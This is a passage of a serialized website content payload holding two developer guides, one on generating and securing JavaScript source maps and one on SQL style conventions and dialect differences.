\"AAAA,SAASA...\"\n}\n",[143,191436,191437,191441,191451,191461,191480,191491,191512,191520],{"__ignoreMap":141},[1560,191438,191439],{"class":1562,"line":1563},[1560,191440,23493],{"class":1570},[1560,191442,191443,191445,191447,191449],{"class":1562,"line":337},[1560,191444,134768],{"class":1576},[1560,191446,1663],{"class":1570},[1560,191448,17821],{"class":1576},[1560,191450,11943],{"class":1570},[1560,191452,191453,191455,191457,191459],{"class":1562,"line":343},[1560,191454,134779],{"class":1576},[1560,191456,1663],{"class":1570},[1560,191458,134784],{"class":5634},[1560,191460,11943],{"class":1570},[1560,191462,191463,191465,191467,191469,191471,191473,191475,191478],{"class":1562,"line":365},[1560,191464,134791],{"class":1576},[1560,191466,37187],{"class":1570},[1560,191468,134796],{"class":5634},[1560,191470,1459],{"class":1570},[1560,191472,134801],{"class":5634},[1560,191474,1459],{"class":1570},[1560,191476,191477],{"class":5634},"\"api.js\"",[1560,191479,12044],{"class":1570},[1560,191481,191482,191484,191486,191489],{"class":1562,"line":889},[1560,191483,191014],{"class":1576},[1560,191485,37187],{"class":1570},[1560,191487,191488],{"class":5634},"\"\u002F\u002F original source...\"",[1560,191490,12044],{"class":1570},[1560,191492,191493,191495,191497,191500,191502,191505,191507,191510],{"class":1562,"line":1710},[1560,191494,191031],{"class":1576},[1560,191496,37187],{"class":1570},[1560,191498,191499],{"class":5634},"\"fetchData\"",[1560,191501,1459],{"class":1570},[1560,191503,191504],{"class":5634},"\"response\"",[1560,191506,1459],{"class":1570},[1560,191508,191509],{"class":5634},"\"data\"",[1560,191511,12044],{"class":1570},[1560,191513,191514,191516,191518],{"class":1562,"line":1717},[1560,191515,134808],{"class":1576},[1560,191517,1663],{"class":1570},[1560,191519,134813],{"class":5634},[1560,191521,191522],{"class":1562,"line":1747},[1560,191523,1585],{"class":1570},[16,191525,421,191526,191528],{},[143,191527,191133],{}," field uses Base64 VLQ encoding to represent position translations compactly. You rarely interact with it directly — your bundler generates it, and the browser consumes it.",[11,191530,191532],{"id":191531},"generating-source-maps","Generating Source Maps",[16,191534,191535],{},"Every major bundler supports source map generation. The configuration varies slightly:",[16,191537,191538],{},[47,191539,191540],{},"Vite (Rollup under the hood):",[135,191542,191544],{"className":1607,"code":191543,"language":1609,"meta":141,"style":141},"\u002F\u002F vite.config.js\nexport default defineConfig({\n  build: {\n    sourcemap: true,              \u002F\u002F standard source maps\n    \u002F\u002F sourcemap: 'hidden',       \u002F\u002F generate .map files but omit the comment\n  }\n})\n",[143,191545,191546,191550,191560,191564,191576,191584,191588],{"__ignoreMap":141},[1560,191547,191548],{"class":1562,"line":1563},[1560,191549,11830],{"class":1649},[1560,191551,191552,191554,191556,191558],{"class":1562,"line":337},[1560,191553,9187],{"class":1669},[1560,191555,11837],{"class":1669},[1560,191557,17522],{"class":1566},[1560,191559,17525],{"class":1570},[1560,191561,191562],{"class":1562,"line":343},[1560,191563,11844],{"class":1570},[1560,191565,191566,191568,191570,191573],{"class":1562,"line":365},[1560,191567,191230],{"class":1570},[1560,191569,20533],{"class":1576},[1560,191571,191572],{"class":1570},",              ",[1560,191574,191575],{"class":1649},"\u002F\u002F standard source maps\n",[1560,191577,191578,191581],{"class":1562,"line":889},[1560,191579,191580],{"class":1649},"    \u002F\u002F sourcemap: 'hidden',",[1560,191582,191583],{"class":1649},"       \u002F\u002F generate .map files but omit the comment\n",[1560,191585,191586],{"class":1562,"line":1710},[1560,191587,4959],{"class":1570},[1560,191589,191590],{"class":1562,"line":1717},[1560,191591,1626],{"class":1570},[16,191593,191594],{},[47,191595,191596],{},"Webpack:",[135,191598,191600],{"className":1607,"code":191599,"language":1609,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nmodule.exports = {\n  devtool: 'source-map',        \u002F\u002F full source maps\n  \u002F\u002F devtool: 'hidden-source-map', \u002F\u002F no referencing comment\n  \u002F\u002F devtool: 'nosources-source-map', \u002F\u002F mappings only, no source content\n}\n",[143,191601,191602,191606,191618,191631,191639,191647],{"__ignoreMap":141},[1560,191603,191604],{"class":1562,"line":1563},[1560,191605,11880],{"class":1649},[1560,191607,191608,191610,191612,191614,191616],{"class":1562,"line":337},[1560,191609,11885],{"class":1576},[1560,191611,468],{"class":1570},[1560,191613,11890],{"class":1576},[1560,191615,8186],{"class":1669},[1560,191617,1571],{"class":1570},[1560,191619,191620,191623,191626,191628],{"class":1562,"line":343},[1560,191621,191622],{"class":1570},"  devtool: ",[1560,191624,191625],{"class":5634},"'source-map'",[1560,191627,134261],{"class":1570},[1560,191629,191630],{"class":1649},"\u002F\u002F full source maps\n",[1560,191632,191633,191636],{"class":1562,"line":365},[1560,191634,191635],{"class":1649},"  \u002F\u002F devtool: 'hidden-source-map',",[1560,191637,191638],{"class":1649}," \u002F\u002F no referencing comment\n",[1560,191640,191641,191644],{"class":1562,"line":889},[1560,191642,191643],{"class":1649},"  \u002F\u002F devtool: 'nosources-source-map',",[1560,191645,191646],{"class":1649}," \u002F\u002F mappings only, no source content\n",[1560,191648,191649],{"class":1562,"line":1710},[1560,191650,1585],{"class":1570},[16,191652,191653],{},[47,191654,191655],{},"esbuild:",[135,191657,191659],{"className":6951,"code":191658,"language":6953,"meta":141,"style":141},"esbuild app.js --bundle --sourcemap --outfile=dist\u002Fapp.min.js\n",[143,191660,191661],{"__ignoreMap":141},[1560,191662,191663,191665,191668,191670,191673],{"class":1562,"line":1563},[1560,191664,20926],{"class":1566},[1560,191666,191667],{"class":5634}," app.js",[1560,191669,20944],{"class":1576},[1560,191671,191672],{"class":1576}," --sourcemap",[1560,191674,191675],{"class":1576}," --outfile=dist\u002Fapp.min.js\n",[16,191677,421,191678,191680,191681,191683,191684,191687],{},[143,191679,44183],{}," variant generates the ",[143,191682,134753],{}," file but omits the ",[143,191685,191686],{},"\u002F\u002F# sourceMappingURL=..."," comment from the minified output. This is important for production security — more on that below.",[11,191689,191691],{"id":191690},"source-map-types-compared","Source Map Types Compared",[193,191693,191694,191713],{},[196,191695,191696],{},[199,191697,191698,191701,191704,191707,191710],{},[202,191699,191700],{},"Devtool Value",[202,191702,191703],{},"Build Speed",[202,191705,191706],{},"Reconstruction Quality",[202,191708,191709],{},"Source Content Included",[202,191711,191712],{},"Production Safe",[211,191714,191715,191733,191747,191763,191779],{},[199,191716,191717,191722,191724,191726,191728],{},[216,191718,191719],{},[143,191720,191721],{},"source-map",[216,191723,85203],{},[216,191725,55046],{},[216,191727,3057],{},[216,191729,62012,191730,191732],{},[143,191731,44183],{}," variant",[199,191734,191735,191739,191741,191743,191745],{},[216,191736,191737],{},[143,191738,135001],{},[216,191740,85203],{},[216,191742,55046],{},[216,191744,3057],{},[216,191746,3057],{},[199,191748,191749,191754,191756,191759,191761],{},[216,191750,191751],{},[143,191752,191753],{},"nosources-source-map",[216,191755,85203],{},[216,191757,191758],{},"Line\u002Fcolumn only",[216,191760,6117],{},[216,191762,3057],{},[199,191764,191765,191769,191771,191774,191777],{},[216,191766,191767],{},[143,191768,134998],{},[216,191770,7639],{},[216,191772,191773],{},"Line-level",[216,191775,191776],{},"Yes ❌ partially",[216,191778,6117],{},[199,191780,191781,191786,191788,191790,191793],{},[216,191782,191783],{},[143,191784,191785],{},"eval-source-map",[216,191787,50094],{},[216,191789,55046],{},[216,191791,191792],{},"Yes (in eval)",[216,191794,6117],{},[16,191796,191797,191798,191800],{},"For production, ",[143,191799,135001],{}," is the recommended choice. It gives you full debugging capability through error monitoring tools without exposing source maps to the public.",[11,191802,191804],{"id":191803},"debugging-with-source-maps","Debugging With Source Maps",[16,191806,191807],{},"When source maps are available, browser DevTools shows original file names and line numbers automatically:",[77,191809,191810,191813,191821,191826],{},[44,191811,191812],{},"Open DevTools → Sources panel",[44,191814,191815,191816,191818,191819,110917],{},"DevTools detects the ",[143,191817,191171],{}," comment and fetches the ",[143,191820,134753],{},[44,191822,191823,191824,41825],{},"The Sources panel displays the original files from the ",[143,191825,191103],{},[44,191827,191828,191829,191831],{},"Breakpoints, ",[143,191830,127214],{}," locations, and stack traces reference the original code",[16,191833,191834,191835,191837,191838,191841],{},"Without source maps, you see ",[143,191836,191420],{},". With them, you see ",[143,191839,191840],{},"api.js:45:12"," — exactly where the error occurred in your source.",[16,191843,191844,191846],{},[47,191845,137887],{}," Source maps only affect DevTools display. The browser still executes the minified code. Source maps do not change runtime behavior.",[11,191848,191850],{"id":191849},"source-maps-in-error-monitoring","Source Maps in Error Monitoring",[16,191852,191853],{},"Source maps are critical for production error tracking. Services like Sentry, Bugsnag, and Datadog consume uploaded source maps to show readable stack traces for unhandled exceptions.",[16,191855,191856],{},"The typical workflow:",[77,191858,191859,191864,191870,191876],{},[44,191860,191861,191862],{},"Build your project with ",[143,191863,135001],{},[44,191865,191866,191867,191869],{},"Upload ",[143,191868,134753],{}," files to your error monitoring service via CLI or API",[44,191871,191872,191873,191875],{},"Deploy minified files to production (without ",[143,191874,134753],{}," references)",[44,191877,191878],{},"When an error occurs, the monitoring service matches the stack trace against uploaded source maps",[135,191880,191882],{"className":6951,"code":191881,"language":6953,"meta":141,"style":141},"# Sentry CLI example\nsentry-cli releases files \u003Cversion> upload-sourcemaps .\u002Fdist \\\n  --url-prefix \"~\u002Fassets\u002Fjs\" \\\n  --strip-common-prefix\n",[143,191883,191884,191889,191915,191925],{"__ignoreMap":141},[1560,191885,191886],{"class":1562,"line":1563},[1560,191887,191888],{"class":1649},"# Sentry CLI example\n",[1560,191890,191891,191894,191897,191899,191901,191904,191906,191908,191911,191913],{"class":1562,"line":337},[1560,191892,191893],{"class":1566},"sentry-cli",[1560,191895,191896],{"class":5634}," releases",[1560,191898,151352],{"class":5634},[1560,191900,28030],{"class":1669},[1560,191902,191903],{"class":5634},"versio",[1560,191905,22610],{"class":1570},[1560,191907,28226],{"class":1669},[1560,191909,191910],{"class":5634}," upload-sourcemaps",[1560,191912,53686],{"class":5634},[1560,191914,123775],{"class":1576},[1560,191916,191917,191920,191923],{"class":1562,"line":343},[1560,191918,191919],{"class":1576},"  --url-prefix",[1560,191921,191922],{"class":5634}," \"~\u002Fassets\u002Fjs\"",[1560,191924,123775],{"class":1576},[1560,191926,191927],{"class":1562,"line":365},[1560,191928,191929],{"class":1576},"  --strip-common-prefix\n",[16,191931,191932],{},"Keep source maps versioned with your releases. If the deployed bundle does not match the uploaded source map version, reconstructed stack traces will be incorrect.",[11,191934,102598],{"id":102597},[16,191936,191937],{},"Exposing source maps publicly means anyone can view your original source code — including proprietary logic, API endpoints, and internal comments.",[16,191939,191940],{},"Risks of publicly accessible source maps:",[41,191942,191943,191949,191955],{},[44,191944,191945,191948],{},[47,191946,191947],{},"Source code exposure"," — competitors or attackers can inspect your business logic",[44,191950,191951,191954],{},[47,191952,191953],{},"API key discovery"," — comments may contain credentials mistakenly committed",[44,191956,191957,191960],{},[47,191958,191959],{},"Attack surface mapping"," — attackers identify vulnerable code paths more easily",[16,191962,95659],{},[41,191964,191965,191974,191983,191992],{},[44,191966,191967,87292,191971,191973],{},[47,191968,1388,191969],{},[143,191970,135001],{},[143,191972,191171],{}," comment in the minified file",[44,191975,191976,191982],{},[47,191977,191978,191979,191981],{},"Serve ",[143,191980,134753],{}," files on an internal domain"," — restrict access via authentication or IP allowlists",[44,191984,191985,191991],{},[47,191986,191987,191988,191990],{},"Delete ",[143,191989,134753],{}," files from production servers"," — after uploading to your error monitoring service",[44,191993,191994,191998],{},[47,191995,1388,191996],{},[143,191997,191753],{}," — includes position mappings but omits original source content",[16,192000,421,192001,192004],{},[143,192002,192003],{},"nosources"," variant is a middle ground: error monitoring tools still get correct line numbers, but nobody can read your actual code through the source map.",[11,192006,1355],{"id":1354},[41,192008,192009,192012,192018,192021,192027],{},[44,192010,192011],{},"Source maps map minified code positions back to original source files for debugging",[44,192013,192014,192015,192017],{},"Generate them with ",[143,192016,135001],{}," for production — full fidelity without public exposure",[44,192019,192020],{},"Upload source maps to error monitoring services (Sentry, Bugsnag) for readable production stack traces",[44,192022,192023,192024,192026],{},"Never deploy ",[143,192025,134753],{}," files to public servers — they expose your original source code",[44,192028,192029],{},"Source maps only affect DevTools display; they do not change runtime behavior",[11,192031,321],{"id":320},[41,192033,192034,192038,192042],{},[44,192035,192036],{},[98,192037,133807],{"href":133806},[44,192039,192040],{},[98,192041,133813],{"href":133812},[44,192043,192044],{},[98,192045,135152],{"href":135151},[11,192047,286],{"id":285},[16,192049,135134,192050,192052],{},[98,192051,133828],{"href":133827},". Paste your code, compare the original and minified output, and understand why source maps are essential for production debugging.",[2043,192054,81221],{},{"title":141,"searchDepth":337,"depth":337,"links":192056},[192057,192058,192059,192060,192061,192062,192063,192064,192065],{"id":191424,"depth":337,"text":191425},{"id":191531,"depth":337,"text":191532},{"id":191690,"depth":337,"text":191691},{"id":191803,"depth":337,"text":191804},{"id":191849,"depth":337,"text":191850},{"id":102597,"depth":337,"text":102598},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand how source maps bridge the gap between minified production code and your original source — setup, security, and debugging workflows.",{"immutable":363},{"title":191412,"description":192066},"guides\u002Fsource-maps-minified-code","xR8ycJswjSJf4CyiVylgGVl_pqLFej2qguOwhtiv2Vg",{"id":192072,"title":192073,"body":192074,"date":2070,"description":192818,"extension":361,"meta":192819,"navigation":363,"path":178215,"readingTime":1717,"seo":192822,"stem":192823,"__hash__":192824},"guides\u002Fguides\u002Fsql-best-practices.md","SQL Best Practices: Industry Standards for Query Style",{"type":8,"value":192075,"toc":192792},[192076,192080,192083,192086,192088,192090,192093,192142,192144,192194,192196,192199,192248,192251,192278,192282,192285,192289,192294,192314,192318,192323,192363,192367,192370,192408,192412,192416,192419,192474,192478,192502,192506,192509,192529,192533,192536,192540,192591,192595,192638,192642,192645,192687,192691,192694,192743,192746,192748,192765,192767,192773,192775,192790],[11,192077,192079],{"id":192078},"why-sql-style-standards-matter","Why SQL Style Standards Matter",[16,192081,192082],{},"Without a shared style guide, every developer on your team writes SQL their own way. One person uses snake_case, another uses camelCase. One aliases every table, another skips aliases entirely. Code reviews turn into nitpicks about formatting instead of focusing on logic.",[16,192084,192085],{},"A SQL style guide eliminates these debates. When everyone follows the same conventions, reviews move faster, onboarding takes less time, and bugs get caught earlier because the code structure is predictable.",[11,192087,177619],{"id":177618},[33,192089,177623],{"id":177622},[16,192091,192092],{},"Use snake_case for all database identifiers. It is the most widely adopted convention across PostgreSQL, MySQL, and SQL Server.",[135,192094,192096],{"className":23599,"code":192095,"language":23601,"meta":141,"style":141},"-- Consistent\nSELECT first_name, last_name, hire_date\nFROM employees\nWHERE department_id = 5;\n\n-- Inconsistent\nSELECT firstName, lastName, hireDate\nFROM Employees\nWHERE DepartmentID = 5;\n",[143,192097,192098,192103,192108,192113,192118,192122,192127,192132,192137],{"__ignoreMap":141},[1560,192099,192100],{"class":1562,"line":1563},[1560,192101,192102],{},"-- Consistent\n",[1560,192104,192105],{"class":1562,"line":337},[1560,192106,192107],{},"SELECT first_name, last_name, hire_date\n",[1560,192109,192110],{"class":1562,"line":343},[1560,192111,192112],{},"FROM employees\n",[1560,192114,192115],{"class":1562,"line":365},[1560,192116,192117],{},"WHERE department_id = 5;\n",[1560,192119,192120],{"class":1562,"line":889},[1560,192121,1702],{"emptyLinePlaceholder":363},[1560,192123,192124],{"class":1562,"line":1710},[1560,192125,192126],{},"-- Inconsistent\n",[1560,192128,192129],{"class":1562,"line":1717},[1560,192130,192131],{},"SELECT firstName, lastName, hireDate\n",[1560,192133,192134],{"class":1562,"line":1747},[1560,192135,192136],{},"FROM Employees\n",[1560,192138,192139],{"class":1562,"line":2507},[1560,192140,192141],{},"WHERE DepartmentID = 5;\n",[16,192143,182242],{},[41,192145,192146,192158,192168,192177],{},[44,192147,192148,192149,1459,192152,1459,192155],{},"Table names: plural, lowercase — ",[143,192150,192151],{},"users",[143,192153,192154],{},"orders",[143,192156,192157],{},"product_categories",[44,192159,192160,192161,1459,192163,1459,192165],{},"Column names: singular, lowercase — ",[143,192162,97853],{},[143,192164,38494],{},[143,192166,192167],{},"is_active",[44,192169,192170,192171,1459,192174],{},"Join tables: combine both names — ",[143,192172,192173],{},"users_roles",[143,192175,192176],{},"orders_products",[44,192178,192179,192180,1459,192183,1877,192186,23567,192189,1459,192191],{},"Boolean columns: prefix with ",[143,192181,192182],{},"is_",[143,192184,192185],{},"has_",[143,192187,192188],{},"can_",[143,192190,192167],{},[143,192192,192193],{},"has_subscription",[33,192195,177689],{"id":177688},[16,192197,192198],{},"Use short, meaningful aliases. Avoid single letters unless the context is obvious.",[135,192200,192202],{"className":23599,"code":192201,"language":23601,"meta":141,"style":141},"-- Good: aliases mirror table names\nFROM orders o\nJOIN customers c ON o.customer_id = c.id\nJOIN shipping_addresses sa ON o.shipping_address_id = sa.id\n\n-- Bad: cryptic aliases\nFROM orders a\nJOIN customers b ON a.foo = b.bar\nJOIN shipping_addresses x ON a.baz = x.qux\n",[143,192203,192204,192209,192214,192219,192224,192228,192233,192238,192243],{"__ignoreMap":141},[1560,192205,192206],{"class":1562,"line":1563},[1560,192207,192208],{},"-- Good: aliases mirror table names\n",[1560,192210,192211],{"class":1562,"line":337},[1560,192212,192213],{},"FROM orders o\n",[1560,192215,192216],{"class":1562,"line":343},[1560,192217,192218],{},"JOIN customers c ON o.customer_id = c.id\n",[1560,192220,192221],{"class":1562,"line":365},[1560,192222,192223],{},"JOIN shipping_addresses sa ON o.shipping_address_id = sa.id\n",[1560,192225,192226],{"class":1562,"line":889},[1560,192227,1702],{"emptyLinePlaceholder":363},[1560,192229,192230],{"class":1562,"line":1710},[1560,192231,192232],{},"-- Bad: cryptic aliases\n",[1560,192234,192235],{"class":1562,"line":1717},[1560,192236,192237],{},"FROM orders a\n",[1560,192239,192240],{"class":1562,"line":1747},[1560,192241,192242],{},"JOIN customers b ON a.foo = b.bar\n",[1560,192244,192245],{"class":1562,"line":2507},[1560,192246,192247],{},"JOIN shipping_addresses x ON a.baz = x.qux\n",[16,192249,192250],{},"Alias rules:",[41,192252,192253,192262,192269,192272],{},[44,192254,192255,192256,192258,192259,192261],{},"One or two characters for common tables — ",[143,192257,25570],{}," for users, ",[143,192260,25584],{}," for orders",[44,192263,192264,192265,192268],{},"Abbreviations for longer names — ",[143,192266,192267],{},"sa"," for shipping_addresses",[44,192270,192271],{},"Never reuse the same alias for different tables in one query",[44,192273,192274,192275],{},"Always alias computed columns — ",[143,192276,192277],{},"SUM(amount) AS total_amount",[11,192279,192281],{"id":192280},"comment-style","Comment Style",[16,192283,192284],{},"Comments explain why, not what. The SQL itself should explain what it does through clear formatting and naming.",[33,192286,192288],{"id":192287},"inline-comments","Inline Comments",[16,192290,1388,192291,192293],{},[143,192292,121568],{}," for single-line explanations placed above the line they describe.",[135,192295,192297],{"className":23599,"code":192296,"language":23601,"meta":141,"style":141},"-- Exclude trial accounts from revenue calculations\nWHERE account_type != 'trial'\n    AND created_at \u003C CURRENT_DATE\n",[143,192298,192299,192304,192309],{"__ignoreMap":141},[1560,192300,192301],{"class":1562,"line":1563},[1560,192302,192303],{},"-- Exclude trial accounts from revenue calculations\n",[1560,192305,192306],{"class":1562,"line":337},[1560,192307,192308],{},"WHERE account_type != 'trial'\n",[1560,192310,192311],{"class":1562,"line":343},[1560,192312,192313],{},"    AND created_at \u003C CURRENT_DATE\n",[33,192315,192317],{"id":192316},"block-comments","Block Comments",[16,192319,1388,192320,192322],{},[143,192321,134516],{}," for multi-line explanations, especially for complex logic or business rules.",[135,192324,192326],{"className":23599,"code":192325,"language":23601,"meta":141,"style":141},"\u002F*\n * Revenue is calculated using the cash-basis method.\n * Only completed payments from the current fiscal year\n * are included per finance team policy (RFC-2024-017).\n *\u002F\nWHERE payment_status = 'completed'\n    AND payment_date >= '2024-07-01'\n",[143,192327,192328,192333,192338,192343,192348,192353,192358],{"__ignoreMap":141},[1560,192329,192330],{"class":1562,"line":1563},[1560,192331,192332],{},"\u002F*\n",[1560,192334,192335],{"class":1562,"line":337},[1560,192336,192337],{}," * Revenue is calculated using the cash-basis method.\n",[1560,192339,192340],{"class":1562,"line":343},[1560,192341,192342],{}," * Only completed payments from the current fiscal year\n",[1560,192344,192345],{"class":1562,"line":365},[1560,192346,192347],{}," * are included per finance team policy (RFC-2024-017).\n",[1560,192349,192350],{"class":1562,"line":889},[1560,192351,192352],{}," *\u002F\n",[1560,192354,192355],{"class":1562,"line":1710},[1560,192356,192357],{},"WHERE payment_status = 'completed'\n",[1560,192359,192360],{"class":1562,"line":1717},[1560,192361,192362],{},"    AND payment_date >= '2024-07-01'\n",[33,192364,192366],{"id":192365},"what-not-to-comment","What Not to Comment",[16,192368,192369],{},"Avoid comments that repeat the code:",[135,192371,192373],{"className":23599,"code":192372,"language":23601,"meta":141,"style":141},"-- Bad: this comment adds nothing\n-- Select name and email from users\nSELECT name, email FROM users;\n\n-- Good: explain the business reason\n-- Primary contact info for weekly digest emails\nSELECT name, email FROM users;\n",[143,192374,192375,192380,192385,192390,192394,192399,192404],{"__ignoreMap":141},[1560,192376,192377],{"class":1562,"line":1563},[1560,192378,192379],{},"-- Bad: this comment adds nothing\n",[1560,192381,192382],{"class":1562,"line":337},[1560,192383,192384],{},"-- Select name and email from users\n",[1560,192386,192387],{"class":1562,"line":343},[1560,192388,192389],{},"SELECT name, email FROM users;\n",[1560,192391,192392],{"class":1562,"line":365},[1560,192393,1702],{"emptyLinePlaceholder":363},[1560,192395,192396],{"class":1562,"line":889},[1560,192397,192398],{},"-- Good: explain the business reason\n",[1560,192400,192401],{"class":1562,"line":1710},[1560,192402,192403],{},"-- Primary contact info for weekly digest emails\n",[1560,192405,192406],{"class":1562,"line":1717},[1560,192407,192389],{},[11,192409,192411],{"id":192410},"team-collaboration-standards","Team Collaboration Standards",[33,192413,192415],{"id":192414},"shared-formatting-rules","Shared Formatting Rules",[16,192417,192418],{},"Agree on these basics and document them:",[193,192420,192421,192432],{},[196,192422,192423],{},[199,192424,192425,192428,192430],{},[202,192426,192427],{},"Decision",[202,192429,49059],{},[202,192431,23393],{},[211,192433,192434,192444,192454,192464],{},[199,192435,192436,192439,192441],{},[216,192437,192438],{},"Keyword case",[216,192440,40644],{},[216,192442,192443],{},"Visual separation from identifiers",[199,192445,192446,192448,192451],{},[216,192447,108320],{},[216,192449,192450],{},"4 spaces",[216,192452,192453],{},"Standard in most SQL formatters",[199,192455,192456,192458,192461],{},[216,192457,108331],{},[216,192459,192460],{},"Trailing",[216,192462,192463],{},"Cleaner diffs when adding columns",[199,192465,192466,192469,192471],{},[216,192467,192468],{},"Line length",[216,192470,183772],{},[216,192472,192473],{},"Readable on most screens without wrap",[33,192475,192477],{"id":192476},"version-control-practices","Version Control Practices",[41,192479,192480,192487,192490,192499],{},[44,192481,192482,192483,192486],{},"Store all queries in ",[143,192484,192485],{},".sql"," files, never in application code strings",[44,192488,192489],{},"One logical query per file — avoid 500-line scripts with ten unrelated queries",[44,192491,192492,192493,88000,192496],{},"Use consistent file naming — ",[143,192494,192495],{},"get_user_orders.sql",[143,192497,192498],{},"query3.sql",[44,192500,192501],{},"Run a SQL formatter as a pre-commit hook so formatting stays consistent",[33,192503,192505],{"id":192504},"code-review-checklist","Code Review Checklist",[16,192507,192508],{},"Before approving a SQL change, check:",[41,192510,192511,192514,192517,192520,192523,192526],{},[44,192512,192513],{},"Does the query use the correct JOIN type (INNER vs LEFT)?",[44,192515,192516],{},"Are all WHERE conditions present and correctly scoped?",[44,192518,192519],{},"Does GROUP BY include all non-aggregated SELECT columns?",[44,192521,192522],{},"Is the query indexed properly (see below)?",[44,192524,192525],{},"Does the query handle NULL values correctly?",[44,192527,192528],{},"Are table and column names consistent with project conventions?",[11,192530,192532],{"id":192531},"cross-dialect-formatting-differences","Cross-Dialect Formatting Differences",[16,192534,192535],{},"SQL dialects share 90% of their syntax but diverge in specific areas. Knowing these differences prevents errors when your team works across databases.",[33,192537,192539],{"id":192538},"string-concatenation","String Concatenation",[193,192541,192542,192550],{},[196,192543,192544],{},[199,192545,192546,192548],{},[202,192547,117455],{},[202,192549,28715],{},[211,192551,192552,192562,192572,192582],{},[199,192553,192554,192557],{},[216,192555,192556],{},"PostgreSQL",[216,192558,192559],{},[143,192560,192561],{},"'Hello' || ' World'",[199,192563,192564,192567],{},[216,192565,192566],{},"MySQL",[216,192568,192569],{},[143,192570,192571],{},"CONCAT('Hello', ' World')",[199,192573,192574,192577],{},[216,192575,192576],{},"SQL Server",[216,192578,192579],{},[143,192580,192581],{},"'Hello' + ' World'",[199,192583,192584,192587],{},[216,192585,192586],{},"SQLite",[216,192588,192589],{},[143,192590,192561],{},[33,192592,192594],{"id":192593},"limit-vs-top","LIMIT vs TOP",[135,192596,192598],{"className":23599,"code":192597,"language":23601,"meta":141,"style":141},"-- PostgreSQL, MySQL, SQLite\nSELECT name FROM users LIMIT 10;\n\n-- SQL Server\nSELECT TOP 10 name FROM users;\n\n-- ANSI SQL:2008 (Oracle 12c+, PostgreSQL, MySQL)\nSELECT name FROM users FETCH FIRST 10 ROWS ONLY;\n",[143,192599,192600,192605,192610,192614,192619,192624,192628,192633],{"__ignoreMap":141},[1560,192601,192602],{"class":1562,"line":1563},[1560,192603,192604],{},"-- PostgreSQL, MySQL, SQLite\n",[1560,192606,192607],{"class":1562,"line":337},[1560,192608,192609],{},"SELECT name FROM users LIMIT 10;\n",[1560,192611,192612],{"class":1562,"line":343},[1560,192613,1702],{"emptyLinePlaceholder":363},[1560,192615,192616],{"class":1562,"line":365},[1560,192617,192618],{},"-- SQL Server\n",[1560,192620,192621],{"class":1562,"line":889},[1560,192622,192623],{},"SELECT TOP 10 name FROM users;\n",[1560,192625,192626],{"class":1562,"line":1710},[1560,192627,1702],{"emptyLinePlaceholder":363},[1560,192629,192630],{"class":1562,"line":1717},[1560,192631,192632],{},"-- ANSI SQL:2008 (Oracle 12c+, PostgreSQL, MySQL)\n",[1560,192634,192635],{"class":1562,"line":1747},[1560,192636,192637],{},"SELECT name FROM users FETCH FIRST 10 ROWS ONLY;\n",[33,192639,192641],{"id":192640},"date-functions","Date Functions",[16,192643,192644],{},"Each dialect handles dates differently. Always check before writing date logic:",[135,192646,192648],{"className":23599,"code":192647,"language":23601,"meta":141,"style":141},"-- PostgreSQL: current timestamp\nNOW()\n\n-- SQL Server\nGETDATE()\n\n-- MySQL\nCURRENT_TIMESTAMP or NOW()\n",[143,192649,192650,192655,192660,192664,192668,192673,192677,192682],{"__ignoreMap":141},[1560,192651,192652],{"class":1562,"line":1563},[1560,192653,192654],{},"-- PostgreSQL: current timestamp\n",[1560,192656,192657],{"class":1562,"line":337},[1560,192658,192659],{},"NOW()\n",[1560,192661,192662],{"class":1562,"line":343},[1560,192663,1702],{"emptyLinePlaceholder":363},[1560,192665,192666],{"class":1562,"line":365},[1560,192667,192618],{},[1560,192669,192670],{"class":1562,"line":889},[1560,192671,192672],{},"GETDATE()\n",[1560,192674,192675],{"class":1562,"line":1710},[1560,192676,1702],{"emptyLinePlaceholder":363},[1560,192678,192679],{"class":1562,"line":1717},[1560,192680,192681],{},"-- MySQL\n",[1560,192683,192684],{"class":1562,"line":1747},[1560,192685,192686],{},"CURRENT_TIMESTAMP or NOW()\n",[33,192688,192690],{"id":192689},"quoting-identifiers","Quoting Identifiers",[16,192692,192693],{},"When you must use reserved words or mixed case as identifiers:",[193,192695,192696,192705],{},[196,192697,192698],{},[199,192699,192700,192702],{},[202,192701,117455],{},[202,192703,192704],{},"Quote Style",[211,192706,192707,192716,192725,192734],{},[199,192708,192709,192711],{},[216,192710,192556],{},[216,192712,192713],{},[143,192714,192715],{},"\"ColumnName\"",[199,192717,192718,192720],{},[216,192719,192566],{},[216,192721,192722],{},[143,192723,192724],{},"`ColumnName`",[199,192726,192727,192729],{},[216,192728,192576],{},[216,192730,192731],{},[143,192732,192733],{},"[ColumnName]",[199,192735,192736,192739],{},[216,192737,192738],{},"ANSI standard",[216,192740,192741],{},[143,192742,192715],{},[16,192744,192745],{},"Avoid quoting altogether by choosing non-reserved, snake_case names.",[11,192747,1355],{"id":1354},[41,192749,192750,192753,192756,192759,192762],{},[44,192751,192752],{},"Use snake_case for all table and column names — it works everywhere",[44,192754,192755],{},"Alias tables with short, meaningful abbreviations",[44,192757,192758],{},"Comment the \"why\" — the \"what\" should be obvious from the code",[44,192760,192761],{},"Agree on formatting rules as a team and enforce them with automated tools",[44,192763,192764],{},"Know the syntax differences between database dialects before writing cross-platform SQL",[11,192766,286],{"id":285},[16,192768,192769,192770,192772],{},"Apply consistent formatting to your queries instantly with our free ",[98,192771,108693],{"href":108692},". Paste SQL from any dialect and get clean, standardized output.",[11,192774,321],{"id":320},[41,192776,192777,192783],{},[44,192778,192779,192782],{},[98,192780,192781],{"href":178208},"SQL Formatting Guide: Writing Clean and Readable Queries"," — detailed rules for indentation, capitalization, and clause alignment",[44,192784,192785,192789],{},[98,192786,192788],{"href":192787},"\u002Fguides\u002Fsql-query-optimization","SQL Query Optimization: Performance Tips for Faster Queries"," — how structure and formatting help spot performance 